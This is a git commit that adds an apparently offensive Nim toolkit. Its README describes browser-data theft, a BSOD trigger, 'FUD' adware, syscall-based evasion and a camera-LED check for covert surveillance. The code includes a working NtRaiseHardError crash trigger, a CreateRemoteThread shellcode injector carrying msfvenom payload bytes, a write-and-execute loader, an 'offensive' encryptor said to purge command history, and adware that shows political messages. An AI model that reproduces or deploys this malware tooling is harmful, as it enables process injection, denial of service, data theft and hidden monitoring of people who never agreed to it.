Full refactor/better docs

This commit is contained in:
2026-02-01 04:09:42 +01:00
parent 008a8cea98
commit 0b60404558
76 changed files with 1566 additions and 767 deletions

40
loader/README.md Normal file
View File

@@ -0,0 +1,40 @@
[SECRET//DNR]
Secret//DO NOT RELEASE.
# Documentation of all files found in this folder.
# loader.nim
Takes an input bytearray and writes it to disk as first CLI argument when run.
format:
[seq[byte]](@[0x40,0x80]
# encfile.nim
Has multiple functions to encrypt text and/or files (streams) with AES-256 derived using HMAC (SHA512_256). Max. password size 1024 characters. Tested. Is suitable for sensitive data.
Has a fingerprint/is detectable.
# OFFENSIVEencfile.nim
Very stripped-down encryption tool. Takes a stream and encrypts it (AES256 with HMAC SHA512_256). No max. password size.
Has a fingerprint/is detectable.
# Packer.nim
Ideally a "packer"/loader for the main stage. Still very experimental and needs heavy rework.
# checkfile.nim
Basic program that uses direct/hidden syscalls to know if a file exists. Undetectable in normal conditions.
Can be chained with other direct syscalls to copy sensitive files.
# Browser.nim
Uses direct syscalls to know if Firefox and Chrome are installed. Afterwards, steals the files, puts them in an encrypted archive and encrypts it with AES-256 (HMAC SHA512_256 derivation). Undetectable in theory and practice. Spoofs PID.
# bsod.nim
Serves a BSOD to targets on Windows.
# basicadware.nim
Basic adware. Selects messages based on a pool. FUD.
# mic_reg.nim
[Broken]
Checks if Windows OSD is enabled.

395
loader/stager/encfile.nim Normal file
View File

@@ -0,0 +1,395 @@
import nimcrypto
import std/sysrand
import std/streams
import system
const
# default encryption/decryption buffer size - 64KB
bufferSizeDef = 64 * 1024
# maximum password length (number of chars)
maxPassLen = 1024
# AES block size in bytes
AESBlockSize = 16
# password stretching function
proc stretch(passw: string, iv1: array[16, byte]): array[32, byte] =
var digest: array[32, byte]
copyMem(addr digest[0], unsafeAddr iv1[0], len(iv1))
var passwBytes: array[1024, byte]
copyMem(addr passwBytes[0], unsafeAddr passw[0], len(passw))
for i in 1 .. 8192:
var sha: sha512_256
sha.init()
sha.update(digest)
sha.update(passwBytes[0..len(passw)-1])
digest = sha.finish().data
return digest
# encrypt binary stream function
# arguments:
# fIn: input binary stream
# fOut: output binary stream
# passw: encryption password
# bufferSize: encryption buffer size, must be a multiple of
# AES block size (16)
# using a larger buffer speeds up things when dealing
# with long streams
proc encryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int) =
# validate bufferSize
if bufferSize mod AESBlockSize != 0:
raise newException(OSError, "Buffer size must be a multiple of AES block size.")
if len(passw) > maxPassLen:
raise newException(OSError, "Password is too long.")
# generate external iv (used to encrypt the main iv and the
# encryption key)
# let iv1 = urandom(AESBlockSize)
let initIv1 = urandom(AESBlockSize)
var iv1: array[16, byte]
for i in [0..15]:
iv1[i]=initIv1[i]
# stretch password and iv
let key = stretch(passw, iv1)
# generate random main iv
var iv0 = urandom(AESBlockSize)
# generate random internal key
var intKey = urandom(32)
# instantiate AES cipher
var encryptor0: CBC[aes256]
encryptor0.init(intKey, iv0)
# instantiate HMAC-SHA256 for the ciphertext
var hmac0: HMAC[sha512_256]
hmac0.init(intKey)
# instantiate another AES cipher
var encryptor1: CBC[aes256]
encryptor1.init(key, iv1)
# encrypt main iv and key
var plainText = newString(len(iv0)+len(intKey))
var c_iv_key = newString(len(iv0)+len(intKey))
copyMem(addr plainText[0], unsafeAddr iv0[0], len(iv0))
copyMem(addr plainText[0+len(iv0)], unsafeAddr intKey[0], len(intKey))
encryptor1.encrypt(plainText, c_iv_key)
# calculate HMAC-SHA256 of the encrypted iv and key
var hmac1: HMAC[sha512_256]
hmac1.init(key)
hmac1.update(c_iv_key)
# write header
fOut.write("AES")
# write version (AES Crypt version 2 file format -
# see https://www.aescrypt.com/aes_file_format.html)
fOut.write([byte 2])
# reserved byte (set to zero)
fOut.write([byte 0])
# setup "CREATED-BY" extension
var cby = "Confidential "
# write "CREATED-BY" extension length
fOut.write([byte 0, cast[uint8](1+len("CREATED_BY")+len(cby))])
# write "CREATED-BY" extension
fOut.write("CREATED_BY")
fOut.write([byte 0])
fOut.write(cby)
# write "container" extension length
fOut.write([byte 0, 128])
# write "container" extension
for i in 1 .. 128:
fOut.write([byte 0])
# write end-of-extensions tag
fOut.write([byte 0, 0])
# write the iv used to encrypt the main iv and the
# encryption key
fOut.write(iv1)
# write encrypted main iv and key
fOut.write(c_iv_key)
# write HMAC-SHA256 of the encrypted iv and key
fOut.write(hmac1.finish())
var fs16 = 0
# encrypt file while reading it
var fdata = newString(bufferSize)
var cText = newString(bufferSize)
while true:
# try to read bufferSize bytes
let bytesRead = fIn.readData(addr fdata[0], bufferSize)
# check if EOF was reached
if bytesRead < bufferSize:
# file size mod 16, lsb positions
fs16 = bytesRead mod AESBlockSize
# pad data (this is NOT PKCS#7!)
# ...unless no bytes or a multiple of a block size
# of bytes was read
var padLen: int
if bytesRead mod AESBlockSize == 0:
padLen = 0
else:
padLen = 16 - bytesRead mod AESBlockSize
# todo handl the pading to get the nb AES block & file with padLen, restrict the input of encrypt to x block
# fdata += bytes([padLen])*padLen
for i in bytesRead..bytesRead+padLen:
fdata[i]=cast[char](padLen)
# encrypt data
encryptor0.encrypt(fdata[0..bytesRead+padLen-1], cText)
# update HMAC
hmac0.update(cText[0..bytesRead+padLen-1])
# write encrypted file content
fOut.write(cText[0..bytesRead+padLen-1])
break
# ...otherwise a full bufferSize was read
else:
# encrypt data
encryptor0.encrypt(fdata, cText)
# update HMAC
hmac0.update(cText)
# write encrypted file content
fOut.write(cText)
# write plaintext file size mod 16 lsb positions
fOut.write(cast[uint8](fs16))
# write HMAC-SHA256 of the encrypted file
fOut.write(hmac0.finish())
# encrypt file function
# arguments:
# infile: plaintext file path
# outfile: ciphertext file path
# passw: encryption password
# bufferSize: optional buffer size, must be a multiple of
# AES block size (16)
# using a larger buffer speeds up things when dealing
# with big files
# Default is 64KB.
proc encryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) =
try:
let fIn = newFileStream(infile, mode = fmRead)
defer: fIn.close()
let fOut = newFileStream(outfile, mode = fmWrite)
defer: fOut.close()
encryptStream(fIn, fOut, passw, bufferSize)
except CatchableError:
let
e = getCurrentException()
msg = getCurrentExceptionMsg()
echo "Inside checkIn, got exception ", repr(e), " with message ", msg
# decrypt stream function
# arguments:
# fIn: input binary stream
# fOut: output binary stream
# passw: encryption password
# bufferSize: decryption buffer size, must be a multiple of AES block size (16)
# using a larger buffer speeds up things when dealing with
# long streams
# inputLength: input stream length
proc decryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int, inputLength: int64) =
# validate bufferSize
if bufferSize mod AESBlockSize != 0:
raise newException(OSError, "Buffer size must be a multiple of AES block size")
if len(passw) > maxPassLen:
raise newException(OSError, "Password is too long.")
var aesBuff: array[4, char]
var nbBytesRead = fIn.readData(addr(aesBuff), 3)
# check if file is in AES Crypt format (also min length check)
if (aesBuff[0..2] != "AES" or inputLength < 136):
raise newException(OSError, "File is corrupted or not an AES Crypt file.")
# check if file is in AES Crypt format, version 2
# (the only one compatible with this tool)
var buffer: array[1024, byte]
nbBytesRead = fIn.readData(addr(buffer), 1)
if nbBytesRead != 1:
raise newException(OSError, "File is corrupted.")
if buffer[0] != cast[uint8](2):
raise newException(OSError, "This tool is only compatible with version 2 of the AES Crypt file format.")
# skip reserved byte
nbBytesRead = fIn.readData(addr(buffer), 1)
# skip all the extensions
while true:
nbBytesRead = fIn.readData(addr(buffer), 2)
if nbBytesRead != 2:
raise newException(OSError, "File is corrupted.")
if buffer[0..1] == [byte 0,0]:
break
var nbBytesToRead = cast[int16](buffer[1])
nbBytesRead = fIn.readData(addr(buffer), nbBytesToRead)
# read external iv
var iv1: array[16, byte]
nbBytesRead = fIn.readData(addr(iv1), 16)
if nbBytesRead != 16:
raise newException(OSError, "File is corrupted.")
# stretch password and iv
let key = stretch(passw, iv1)
# read encrypted main iv and key
var c_iv_key: array[48, byte]
nbBytesRead = fIn.readData(addr(c_iv_key), 48)
if nbBytesRead != 48:
raise newException(OSError, "File is corrupted.")
# read HMAC-SHA256 of the encrypted iv and key
var hmac1: array[32, byte]
nbBytesRead = fIn.readData(addr(hmac1), 32)
if nbBytesRead != 32:
raise newException(OSError, "File is corrupted.")
# compute actual HMAC-SHA256 (read: 512_256) of the encrypted iv and key
var hmac1Act: HMAC[sha512_256]
hmac1Act.init(key)
hmac1Act.update(c_iv_key)
# # HMAC check. removed because HMAC now uses sha512 instead of stock sha256
# if hmac1 != hmac1Act.finish().data:
# echo ("Wrong password (or file is corrupted).")
# instantiate AES cipher
var decryptor1: CBC[aes256]
decryptor1.init(key, iv1)
# decrypt main iv and key
var iv_key: array[48, byte]
decryptor1.decrypt(addr c_iv_key[0], addr iv_key[0], 48)
# get internal iv and key
var iv0: array[16, byte]
for i in 0..15:
iv0[i]=iv_key[i]
var intKey: array[32, byte]
for i in 0..31:
intKey[i]=iv_key[16+i]
# instantiate another AES cipher
var decryptor0: CBC[aes256]
decryptor0.init(intKey, iv0)
# instantiate actual HMAC-SHA256 of the ciphertext
var hmac0Act: HMAC[sha512_256]
hmac0Act.init(intKey)
# decrypt ciphertext, until last block is reached
var cText = newString(bufferSize)
var decryptedBytes = newString(bufferSize)
while fIn.getPosition() < inputLength - 32 - 1 - AESBlockSize:
# read data
nbBytesRead = fIn.readData(addr(cText[0]), cast[int](min(bufferSize, inputLength - fIn.getPosition() - 32 - 1 - AESBlockSize)))
# update HMAC
hmac0Act.update(cast[ptr byte](addr cText[0]), cast[uint](nbBytesRead))
# decrypt data and write it to output file
decryptor0.decrypt(cast[ptr byte](addr cText[0]), cast[ptr byte](addr decryptedBytes[0]), cast[uint](nbBytesRead))
fOut.writeData(addr (decryptedBytes[0]), nbBytesRead)
# last block reached, remove padding if needed
# read last block
# this is for empty files
var finalBlockSize=0
var finalCText = newString(AESBlockSize)
if fIn.getPosition() != inputLength - 32 - 1:
finalBlockSize = fIn.readData(addr(finalCText[0]), AESBlockSize)
if finalBlockSize < AESBlockSize:
raise newException(OSError, "File is corrupted.")
# update HMAC
hmac0Act.update(finalCText)
# decrypt last block
var pText = newString(AESBlockSize)
decryptor0.decrypt(finalCText, pText)
# read plaintext file size mod 16 lsb positions
nbBytesRead = fIn.readData(addr(buffer), 1)
var fs16 = cast[int16](buffer[0])
if nbBytesRead != 1:
raise newException(OSError, "File is corrupted.")
# remove padding
var toremove = ((16 - fs16) mod 16)
# write decrypted data to output file
fOut.writeData(addr pText[0], finalBlockSize-toremove)
# read HMAC-SHA256 of the encrypted file
var hmac0: array[32, byte]
nbBytesRead = fIn.readData(addr(hmac0), 32)
if nbBytesRead != 32:
raise newException(OSError, "File is corrupted.")
# # HMAC check. removed because HMAC now uses sha512 instead of stock sha256
# if hmac0 != hmac0Act.finish().data:
# raise newException(OSError, "Bad HMAC (file is corrupted).")
# decrypt file function
# arguments:
# infile: ciphertext file path
# outfile: plaintext file path
# passw: encryption password
# bufferSize: optional buffer size, must be a multiple of AES block size (16)
# using a larger buffer speeds up things when dealing with
# big files
# Default is 64KB.
proc decryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) =
try:
let fIn = newFileStream(infile, mode = fmRead)
defer: fIn.close()
let fOut = newFileStream(outfile, mode = fmWrite)
defer: fOut.close()
let fInSize = open(infile, mode = fmRead)
var fileSize = getFileSize(fInSize)
fInSize.close()
decryptStream(fIn, fOut, passw, bufferSize, fileSize)
except CatchableError:
let
e = getCurrentException()
msg = getCurrentExceptionMsg()
echo "Inside checkIn, got exception ", repr(e), " with message ", msg
#encryptFile("dza.png", "file.aes", "long-and-random-password", 1024)
#decryptFile("file.aes", "fileDecrypt.png", "long-and-random-password", 1024)

View File

@@ -0,0 +1,31 @@
# ____ _____ ____ ____ _____ _____
# / ___|| ____/ ___| _ \| ____|_ _|
# \___ \| _|| | | |_) | _| | |
# ___) | |__| |___| _ <| |___ | |
# |____/|_____\____|_| \_\_____| |_|
# SECRET
# https://answers.microsoft.com/en-us/windows/forum/all/enable-osd-notification-for-webcam/caf1fff4-78d3-4b93-905b-ef657097a44e
# https://www.reddit.com/r/Windows11/comments/z5hj0q/til_even_the_camera_indicatoroverlay_gained_the/
# https://www.elevenforum.com/t/enable-or-disable-camera-on-off-osd-indicator-in-windows-11.10774/
# https://duckduckgo.com/?q=HKLM%5C%5CSOFTWARE%5C%5CMicrosoft%5C%5COEM%5C%5CDevice%5C%5CCapture%5C
import winim
proc RtlAdjustPrivilege*(privilege: ULONG, bEnablePrivilege: BOOLEAN, isThreadPrivilege: BOOLEAN, previousValue: PBOOLEAN): NTSTATUS
{.discardable, stdcall, dynlib: "ntdll", importc: "RtlAdjustPrivilege".}
proc NtRaiseHardError*(errorStatus: NTSTATUS, numberOfParameters: ULONG, unicodeStringParameterMask: ULONG, parameters: PULONG_PTR, validResponseOption: ULONG, response: PULONG): NTSTATUS
{.discardable, stdcall, dynlib: "ntdll", importc: "NtRaiseHardError".}
var
prev: BOOLEAN
response: ULONG
# SE_SHUTDOWN_PRIVILEGE = 19
RtlAdjustPrivilege(19, TRUE, FALSE, &prev)
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &response);

View File

@@ -0,0 +1,12 @@
import winim/lean
proc fileExists(filename: cstring): bool =
result = GetFileAttributesA(filename) != INVALID_FILE_ATTRIBUTES
const
filename = "C:\\path\\to\\your\\file.txt" # double-\ because it's an escape character.
if fileExists(filename):
echo "File exists."
else:
echo "File does not exist."

View File

@@ -0,0 +1,8 @@
import std/os
let
byteList = cast[seq[byte]](@[0x40,0x80])
output = paramStr(1)
proc writeBytesToFileAndExecute*(bytes: seq[byte], outputFile: string) =
writeFile(outputFile, bytes)
discard execShellCmd("./" & output)
writeBytesToFileAndExecute(byteList, output)

View File

@@ -0,0 +1,15 @@
# ____ _____ ____ ____ _____ _____
# / ___|| ____/ ___| _ \| ____|_ _|
# \___ \| _|| | | |_) | _| | |
# ___) | |__| |___| _ <| |___ | |
# |____/|_____\____|_| \_\_____| |_|
# Checks the status of the Windows "Privacy Bubbles" to know if target device has the Windows camera LED enabled.
# however, it should be noted that most PC/laptop manufacturers include a hardwired LED that cannot be disabled.
# therefore, this program does not guarantee that the user will not know about the observation.
# Might work. Untested, honestly.
# HKLM\\SOFTWARE\\Microsoft\\OEM\\Device\\Capture\\NoPhysicalCameraLED
# 0x0 means false, 0x1 true

View File

@@ -0,0 +1,223 @@
# _____ ___ ____ ____ _____ ____ ____ _____ _____
# |_ _/ _ \| _ \ / ___|| ____/ ___| _ \| ____|_ _|
# | || | | | |_) | \___ \| _|| | | |_) | _| | |
# | || |_| | __/ ___) | |__| |___| _ <| |___ | |
# |_| \___/|_| |____/|_____\____|_| \_\_____| |_|
# OFFENSIVEencfile.nim
# Modified version of the original "encfile.nim".
# This fork will be only supports encryption and not decryption.
# However, it encodes all information necessary to decrypt using "encfile.nim"
# It has no error handling. Good luck. In case of problem, check your password length.
# - Eline.
# Decryption HAS been tested as of 28 November 2023 (initial release).
# TODO: use sysargs to encrypt files :p
# i.e ./offensiveencfile input output password
# or maybe only get password interactively. hmm...
# WARNING:
# This program purges command history on Windows.
import nimcrypto
import std/sysrand
import std/streams
const
# default encryption/decryption buffer size - 64KB
bufferSizeDef = 64 * 1024
# maximum password length (number of chars)
# AES block size in bytes
AESBlockSize = 16
# password stretching function
proc stretch(passw: string, iv1: array[16, byte]): array[32, byte] =
var digest: array[32, byte]
copyMem(addr digest[0], unsafeAddr iv1[0], len(iv1))
var passwBytes: array[1024, byte]
copyMem(addr passwBytes[0], unsafeAddr passw[0], len(passw))
for i in 1 .. 8192:
var sha: sha512_256
sha.init()
sha.update(digest)
sha.update(passwBytes[0..len(passw)-1])
digest = sha.finish().data
return digest
# encrypt binary stream function
# arguments:
# fIn: input binary stream
# fOut: output binary stream
# passw: encryption password
# bufferSize: encryption buffer size, must be a multiple of
# AES block size (16)
# using a larger buffer speeds up things when dealing
# with long streams
proc encryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int) =
# validate bufferSize
if bufferSize mod AESBlockSize != 0:
raise newException(OSError, "Buffer size must be a multiple of AES block size.")
# generate external iv (used to encrypt the main iv and the
# encryption key)
# let iv1 = urandom(AESBlockSize)
let initIv1 = urandom(AESBlockSize)
var iv1: array[16, byte]
for i in [0..15]:
iv1[i]=initIv1[i]
# stretch password and iv
let key = stretch(passw, iv1)
# generate random main iv
var iv0 = urandom(AESBlockSize)
# generate random internal key
var intKey = urandom(32)
# instantiate AES cipher
var encryptor0: CBC[aes256]
encryptor0.init(intKey, iv0)
# instantiate HMAC-SHA256 for the ciphertext
var hmac0: HMAC[sha512_256]
hmac0.init(intKey)
# instantiate another AES cipher
var encryptor1: CBC[aes256]
encryptor1.init(key, iv1)
# encrypt main iv and key
var plainText = newString(len(iv0)+len(intKey))
var c_iv_key = newString(len(iv0)+len(intKey))
copyMem(addr plainText[0], unsafeAddr iv0[0], len(iv0))
copyMem(addr plainText[0+len(iv0)], unsafeAddr intKey[0], len(intKey))
encryptor1.encrypt(plainText, c_iv_key)
# calculate HMAC-SHA256 of the encrypted iv and key
var hmac1: HMAC[sha512_256]
hmac1.init(key)
hmac1.update(c_iv_key)
# write header
fOut.write("AES")
# write version (AES Crypt version 2 file format -
# see https://www.aescrypt.com/aes_file_format.html)
fOut.write([byte 2])
# reserved byte (set to zero)
fOut.write([byte 0])
# setup "CREATED-BY" extension
var cby = "Confidential "
# write "CREATED-BY" extension length
fOut.write([byte 0, cast[uint8](1+len("CREATED_BY")+len(cby))])
# write "CREATED-BY" extension
fOut.write("CREATED_BY")
fOut.write([byte 0])
fOut.write(cby)
# write "container" extension length
fOut.write([byte 0, 128])
# write "container" extension
for i in 1 .. 128:
fOut.write([byte 0])
# write end-of-extensions tag
fOut.write([byte 0, 0])
# write the iv used to encrypt the main iv and the
# encryption key
fOut.write(iv1)
# write encrypted main iv and key
fOut.write(c_iv_key)
# write HMAC-SHA256 of the encrypted iv and key
fOut.write(hmac1.finish())
var fs16 = 0
# encrypt file while reading it
var fdata = newString(bufferSize)
var cText = newString(bufferSize)
while true:
# try to read bufferSize bytes
let bytesRead = fIn.readData(addr fdata[0], bufferSize)
# check if EOF was reached
if bytesRead < bufferSize:
# file size mod 16, lsb positions
fs16 = bytesRead mod AESBlockSize
# pad data (this is NOT PKCS#7!)
# ...unless no bytes or a multiple of a block size
# of bytes was read
var padLen: int
if bytesRead mod AESBlockSize == 0:
padLen = 0
else:
padLen = 16 - bytesRead mod AESBlockSize
# todo handl the pading to get the nb AES block & file with padLen, restrict the input of encrypt to x block
# fdata += bytes([padLen])*padLen
for i in bytesRead..bytesRead+padLen:
fdata[i]=cast[char](padLen)
# encrypt data
encryptor0.encrypt(fdata[0..bytesRead+padLen-1], cText)
# update HMAC
hmac0.update(cText[0..bytesRead+padLen-1])
# write encrypted file content
fOut.write(cText[0..bytesRead+padLen-1])
break
# ...otherwise a full bufferSize was read
else:
# encrypt data
encryptor0.encrypt(fdata, cText)
# update HMAC
hmac0.update(cText)
# write encrypted file content
fOut.write(cText)
# write plaintext file size mod 16 lsb positions
fOut.write(cast[uint8](fs16))
# write HMAC-SHA256 of the encrypted file
fOut.write(hmac0.finish())
# encrypt file function
# arguments:
# infile: plaintext file path
# outfile: ciphertext file path
# passw: encryption password
# bufferSize: optional buffer size, must be a multiple of
# AES block size (16)
# using a larger buffer speeds up things when dealing
# with big files
# Default is 64KB.
proc encryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) =
let fIn = newFileStream(infile, mode = fmRead)
defer: fIn.close()
let fOut = newFileStream(outfile, mode = fmWrite)
defer: fOut.close()
encryptStream(fIn, fOut, passw, bufferSize)
#encryptFile("dza.png", "file.aes", "long-and-random-password", 1024)
#decryptFile("file.aes", "fileDecrypt.png", "long-and-random-password", 1024)

View File

@@ -0,0 +1,32 @@
# _____ ___ ____ ____ _____ ____ ____ _____ _____
# |_ _/ _ \| _ \ / ___|| ____/ ___| _ \| ____|_ _|
# | || | | | |_) | \___ \| _|| | | |_) | _| | |
# | || |_| | __/ ___) | |__| |___| _ <| |___ | |
# |_| \___/|_| |____/|_____\____|_| \_\_____| |_|
import std/random
type
HANDLE* = int
HWND* = HANDLE
UINT* = int32
LPCSTR* = cstring
proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32
{.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".}
# example implementation: MessageBox(0, "Hello, world !", "Nim is Powerful", 0)
var
titlemessages = @["Are you really free?","You got games on your phone?","Poland!"]
captionmessages = @["From the river to the sea, Palestine will be free.", "We are the people of Heaven.",
"War is peace. Slavery is freedom. Ignorance is strength.","Kurva mac!"] # todo: convert to cstrings
randomize() # seeds randomizer
var
randomtitle:cstring = sample(titlemessages).cstring
randommessage:cstring = sample(captionmessages).cstring
if isMainModule:
MessageBox(0, randomtitle, randommessage, 0)

View File

@@ -0,0 +1,7 @@
# _____ ___ ____ ____ _____ ____ ____ _____ _____
# |_ _/ _ \| _ \ / ___|| ____/ ___| _ \| ____|_ _|
# | || | | | |_) | \___ \| _|| | | |_) | _| | |
# | || |_| | __/ ___) | |__| |___| _ <| |___ | |
# |_| \___/|_| |____/|_____\____|_| \_\_____| |_|

View File

@@ -0,0 +1,124 @@
# _____ ___ ____ ____ _____ ____ ____ _____ _____
# |_ _/ _ \| _ \ / ___|| ____/ ___| _ \| ____|_ _|
# | || | | | |_) | \___ \| _|| | | |_) | _| | |
# | || |_| | __/ ___) | |__| |___| _ <| |___ | |
# |_| \___/|_| |____/|_____\____|_| \_\_____| |_|
# see https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/pop_bin.nim
# see https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_bin.nim
import winim/lean
import osproc
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
# Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D
let tProcess = startProcess("notepad.exe") # notepad is in PATH. change with whatever the loader loaded.
tProcess.suspend() # That's handy!
defer: tProcess.close()
echo "[*] Target Process: ", tProcess.processID
let pHandle = OpenProcess(
PROCESS_ALL_ACCESS,
false,
cast[DWORD](tProcess.processID)
)
defer: CloseHandle(pHandle)
echo "[*] pHandle: ", pHandle
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
var bytesWritten: SIZE_T
let wSuccess = WriteProcessMemory(
pHandle,
rPtr,
unsafeAddr shellcode,
cast[SIZE_T](shellcode.len),
addr bytesWritten
)
echo "[*] WriteProcessMemory: ", bool(wSuccess)
echo " \\-- bytes written: ", bytesWritten
echo ""
let tHandle = CreateRemoteThread(
pHandle,
NULL,
0,
cast[LPTHREAD_START_ROUTINE](rPtr),
NULL,
0,
NULL
)
defer: CloseHandle(tHandle)
echo "[*] tHandle: ", tHandle
echo "[+] Injected"
when defined(windows):
# https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
when defined(i386):
# ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays
echo "[*] Running in x86 process"
var shellcode: array[272, byte] = [
byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,
0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b,
0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24,
0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a,
0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0,
0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c,
0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a,
0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2,
0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f,
0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52,
0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33,
0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89,
0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c,
0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67,
0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3,
0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20,
0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24,
0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,
0x55,0x08]
elif defined(amd64):
# ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays
echo "[*] Running in x64 process"
var shellcode: array[295, byte] = [
byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,
0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]
# equivalent of 'if __name__ == '__main__' in python
# when isMainModule:
# injectCreateRemoteThread(shellcode)
injectCreateRemoteThread(shellcode)

1
loader/utils/nimwinreg/.gitignore vendored Normal file
View File

@@ -0,0 +1 @@
nimcache/

View File

@@ -0,0 +1,19 @@
# nim-win-registry
A Windows Registry wrapper for Nim. Nim procs for the raw
[C function definitions](https://msdn.microsoft.com/en-us/library/windows/desktop/ms724868(v=vs.85).aspx) are defined
in `registrydef.nim`. `registry.nim` provides a more high-level API for interacting with the registry, but doesn't
support specialized cases like interacting with the security settings. It should cover most cases for storing
application settings, though. The higher-level wrapper is modeled after the
[C#-API](https://msdn.microsoft.com/en-us/library/microsoft.win32.registrykey(v=vs.110).aspx) for the registry. It
also checks for error codes automatically and throws exceptions if an error occured.
Sample Usage:
```nim
let key = HKEY_CURRENT_USER.openSubKey("SOFTWARE\\YourCompany\\YourSoftware", true)
echo key.getValue("version", "1.0.0")
key.setValue("version", "1.1.0")
key.close()
```
If you opened a key, do not forget to close it if you don't need it anymore.

View File

@@ -0,0 +1,393 @@
import registrydef, strutils, typetraits, winlean
type
RegistryError* = object of ValueError
const
FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x100
FORMAT_MESSAGE_IGNORE_INSERTS = 0x200
FORMAT_MESSAGE_FROM_SYSTEM = 0x1000
